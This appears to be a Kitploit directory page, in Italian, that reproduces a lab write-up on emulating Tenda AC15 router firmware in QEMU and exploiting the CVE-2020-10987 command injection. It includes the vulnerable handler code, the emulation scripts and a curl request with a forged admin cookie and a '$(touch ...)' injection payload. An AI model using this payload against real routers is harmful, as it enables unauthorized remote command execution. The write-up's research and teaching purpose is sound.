Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Tenda-Router-VR-and-Exploit — Writeup per la replicazione dell'exploit relativo al rehosting del firmware del router Tenda AC15 e all'esecuzione remota di comandi (CVE-2020-10987). | Kitploit
Strumenti/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitReverse EngineeringPenetration TestingSicurezza HardwareApprendimento e FormazioneAnalisi del Firmware

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Binary Exploitation
Lab e Pratica
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

Writeup per la replicazione dell'exploit relativo al rehosting del firmware del router Tenda AC15 e all'esecuzione remota di comandi (CVE-2020-10987).

Vedi Repository
149 mesi faNon ancora revisionato

Tenda-Router-VR-and-Exploit

Questo write-up mostra esattamente come ho emulato il webserver del firmware AC15 (V15.03.05.19) con QEMU, come l'ho reso raggiungibile dal browser dell'host e come ho esercitato l'handler vulnerabile /goform/setUsbUnload (CVE-2020-10987) per ottenere l'esecuzione di comandi all'interno della rootfs emulata.


Panoramica

  • Estrai (o nel nostro caso ottieni) il filesystem squashfs dall'immagine del firmware e inizia il reversing
  • Crea una guest Debian armhf in esecuzione sotto qemu-system-arm
  • Configura il networking della guest e il percorso di port-forwarding verso il router emulato
  • Crea il nostro script di avvio
  • Sfrutta il router emulato

Estrazione del filesystem

Per prima cosa dobbiamo ottenere la nostra immagine del firmware. Non sono riuscito a trovare il download dell'immagine per AC15 V15.03.05.19, ma sono riuscito a trovare un repository GitHub con il filesystem squashfs già estratto. Se avessimo il file immagine corretto, potremmo estrarlo usando binwalk in questo modo,``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
Poiché non abbiamo il file immagine corretto ma un repository con il filesystem già estratto, possiamo semplicemente clonare il repository.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

I have made a directory called VR and cloned this repo inside it. My rootfs is at $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs

Great now we have our AC15 V15.03.05.19 firmware. Lets move onto some reversing to see whats going on.

Reverse Engineering

I will be using Ghidra 11.4.2 for my reversing. Lets navigate to our target binary here rootfs/bin/httpd and load it in Ghidra. If we go to the formsetUsbUnload function we can see,```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
Questa è la vulnerabilità. Il parametro `deviceName` viene passato direttamente a `doSystemCmd` consentendoci di inviare qualunque comando vogliamo.

Ora, poiché rehostaremo questo firmware usando qemu e non l'hardware originale del router, alcuni programmi proveranno a raggiungere dispositivi che non ci sono e manderanno in crash il nostro avvio.
Poiché il nostro obiettivo è sfruttare il webserver (`httpd`), mi sono concentrato solo sul rehosting di quel binario, non sull'intero avvio (`/rootfs/etc_ro/init.d/rcS`). _Col senno di poi non sono sicuro che fosse la mossa giusta_

Quindi, guardando `rcS`, volevo trovare qualsiasi cosa che `rcS` potesse fare e di cui `httpd` avesse bisogno. Verso la fine del file possiamo vedere:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS avvia cfmd in background subito prima che il resto dello stack si avvii. Dopo ulteriori ricerche e dopo aver osservato come la funzione vulnerabile invia il comando, sono giunto alla conclusione che:

  • httpd costruisce un cfm post
  • Poi il client cfm comunica con cfmd tramite un socket di dominio UNIX (ad es. /var/cfm_socket)

Nella routine InitServer in cfmd possiamo vedere```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
Crea una socket UIX e resta in ascolto.
In generale, il funzionamento è che l'handler legge un frame fisso di 0x7e0 byte da ogni client (`RecvMsg`/`SendMsg`). I primi 4 byte sono un codice di comando; poi c'è un buffer per la chiave di 512 byte e un buffer per il valore di 1500 byte (puoi vedere le dimensioni degli oggetti sullo stack nell'handler). Fa lo switch sull'opcode e risponde con un codice ACK:
- `2` -> Get: `GetCfmValue(key, value)` poi risponde con codice `3`
- `0` -> Set: `SetCfmValue(key, value)` poi risponde con codice `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` poi risponde con codice `0x12`
- `10` -> Commit: `SaveCfm2Flash()` poi risponde `0x10` (OK) o `0xB` (errore)

Quindi, per emulare `cfmd`, ho creato un breve script `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

Mostrerò come compilare questo dopo la parte successiva.

Il prossimo file helper è hooks.so. Ci sono alcune funzioni usate in httpd e cfm che tentano di interagire con hardware inesistente. Il seguente è ciò che il nostro programma presuppone all'avvio:

  • Le partizioni Flash + MTD esistono e sono montabili.
  • Esiste un dispositivo NVRAM (/dev/nvram) che restituisce valori predefiniti sensati.
  • Le routine di piattaforma varie riescono (caricatore impostazioni Layer-7, ripristino potenza RF, ecc.).

Le seguenti funzioni diventano un problema e quindi dobbiamo applicare la patch con LD_PRELOAD=/hooks.so.

  • get_flash_type() -> se restituisce 4, il codice prende un percorso basato su file (cfm_file_init), altrimenti prova a comunicare con MTD (che non abbiamo).
  • get_cfm_blk_size_from_cache() (e/o la variante j_get_cfm_blk_size_from_cache) viene consultata per il dimensionamento del blocco di configurazione.
  • Le chiamate agli shim NVRAM Broadcom (bcm_nvram_get) non devono fallire, altrimenti lo stack presume “NVRAM distrutta” e procede con la logica di ripristino/riavvio.
  • Ulteriori routine come load_l7setting_file() e restore_power() devono riuscire, ma toccano hardware/file inesistenti.

Ecco il nostro hooks.c. Crediti a azeria-labs per l'originale.```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
Ora compiliamo questi file e posizioniamoli nel nostro firmware.
Per la cross-compilazione possiamo usare la toolchain uClibc precompilata di Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

Dovresti vedere qualcosa come il seguente```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
Ora possiamo compilare con```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

Poi infine installali nel firmware``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## Costruzione del sistema guest ARM
Configuriamo il nostro guest arm usando qemu full system.
Ho creato una directory per contenere questo sistema guest in `~/qsys`

Ora in questa directory configuriamo il nostro guest eseguendo i seguenti passaggi```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

Questo creerà il nostro rootfs armhf, aggiornerà il nostro guest, configurerà alcuni strumenti di base, quindi imposterà il nostro username:password di root su root:root.

Poi installa il kernal armhf con```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
Poi estraiamo il kernal e creiamo l'immagine ext4```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

Ora per avviare il nostro sistema guest Da ~/qsys esegui```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
Ecco una rapida panoramica di cosa significano realmente queste righe nel comando di avvio.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Usa il modello di scheda Versatile Express A9 (una scheda supportata dal kernel armmp di Debian)
- `-kernel/-dtb/-initr` Avvia il kernel/initrd di Debian per questa scheda, con il device-tree blob di vexpress
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Configurazione standard rootfs su SD con console seriale su PL011.
- `-nographic -audiodev none,id=noaudio` Interfaccia solo seriale (nessuna finestra SDL) e nessun audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT in modalità utente di QEMU; inoltra `host:2222` a `guest:22` e `host:8080` a `guest:80`. Questo è importante per il networking. Ne parleremo più avanti.
- `-device virtio-net-device,netdev=net0` Collega una NIC al backend `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` La rootfs di Debian risiede su un dispositivo a blocchi simile a una SD (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Espone la rootfs del firmware (in sola lettura) all'interno della guest tramite 9p con tag `fw`. La monteremo su `/firmware` e aggiungeremo un overlayfs sopra per la scrivibilità.

Ora, all'interno della guest, potresti ricevere alcuni errori. Va bene, purché arrivi al prompt di login e riesca ad accedere con `root:root`.

Successivamente, per avere internet sul sistema guest, esegui il seguente comando```
dhclient -v eth0  ||  udhcpc -i eth0

Questo otterrà un lease DHCP su eth0

Ora installa socat``` apt-get update && apt-get install -y socat

root@kitploit:~
## Script di avvio
Ora creiamo il nostro script di avvio nella directory root dell'ospite.```bash
nano boot_tenda.sh

Ecco il nostro script di avvio /root/boot_tenda_sh all'interno della nostra guest con commenti che spiegano ogni passaggio.```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
Ora è il momento di eseguirlo```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

Dovresti vedere un listener sulla porta 80 con httpd Per verificare ulteriormente, naviga su http://127.0.0.1:8080/ sul tuo host e potremo vedere la homepage del router.

Se vuoi saperne di più su come funziona il networking, continua a leggere; altrimenti puoi saltare all'ultima sezione dove sfruttiamo il webserver.

Una rapida panoramica su come funziona il networking

Avevamo bisogno di caricare l'httpd del router all'interno del guest ma renderlo raggiungibile dal browser dell'host su http://127.0.0.1:8080/ mentre il server crede ancora di essere in ascolto sull'IP LAN del router (192.168.0.1). Ci sono tre elementi che lo rendono possibile:

  1. QEMU user networking (slirp) + hostfwd
  2. Un'interfaccia LAN fittizia nel guest (br0 su 192.168.0.1)
  3. Un relay TCP locale nel guest (socat)

1. QEMU user networking (slirp) + hostfwd

Lo facciamo nel comando di avvio quando specifichiamo```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` abilita slirp (la NAT in modalità utente di QEMU): la guest ottiene accesso a Internet in uscita (DHCP, DNS) senza bisogno di bridge root o dispositivi TAP sull'host.
- `hostfwd=tcp::2222-:22` inoltra la porta host 2222 -> porta guest 22.
- `hostfwd=tcp::8080-:80` inoltra la porta host 8080 -> porta guest 80.

Poi otteniamo la lease DHCP per `eth0`. Nota che Slirp in genere assegna alla guest `10.0.2.15`, con il gateway su `10.0.2.2`.```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. Fai in modo che l'IP LAN del router esista nell'ospite

Il firmware reale si aspetta di fare bind sul bridge LAN br0 a 192.168.0.1. Ricreiamo questa condizione:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- I binari (o le loro librerie) spesso interrogano i nomi delle interfacce (es. `lan_ifname=br0`) e si aspettano un dispositivo bridge.
- Associare httpd a `192.168.0.1` mantiene comportamento/redirect (es. `302` verso `http://192.168.0.1/main.html`) identici al dispositivo reale.
- A questo punto httpd è in ascolto solo su `192.168.0.1:80` (non su `eth0` della guest).

### 3. Ponte hostfwd -> listener del firmware con `socat`
`host:8080` -> `guest:80` è già configurato da QEMU. Ma `httpd` non è in ascolto su `eth0:80` della guest; è in ascolto su `192.168.0.1:80`. Quindi all'interno della guest aggiungiamo un piccolo relay TCP:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

Ecco il layout complessivo``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## Tempo di Exploit
Lo stack web protegge gli endpoint "goform" dietro alcuni controlli same-origin/AJAX e un cookie "logged in". Invia gli stessi header che invierebbe il JavaScript dell'interfaccia utente:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

Cosa fa esattamente?

  • Host/Origin/Referer/X-Requested-With supera i controlli AJAX + same-origin nell'handler
  • Cookie: user=admin; password=<md5> simula una sessione autenticata. In questo caso ho usato md5("admin") = 21232f297a57a5a743894a0e4a801fc3
  • deviceName=$(touch /tmp/Hello_World) imposta il nome del dispositivo al comando che vogliamo eseguire. In questo caso stiamo creando un file /tmp/Hello_World Nota che l'esecuzione di questo comando si bloccherà per un po' e poi molto probabilmente chiuderà la connessione con un errore. Questo è normale ed è la prova che ha funzionato.

Successivamente, nella guest, per verificare ulteriormente, possiamo controllare l'esistenza del nostro nuovo file.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
Dovresti vedere```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

Abbiamo sfruttato con successo il nostro router ri-ospitato eseguendo il comando che avevamo inviato

Scarica lo strumento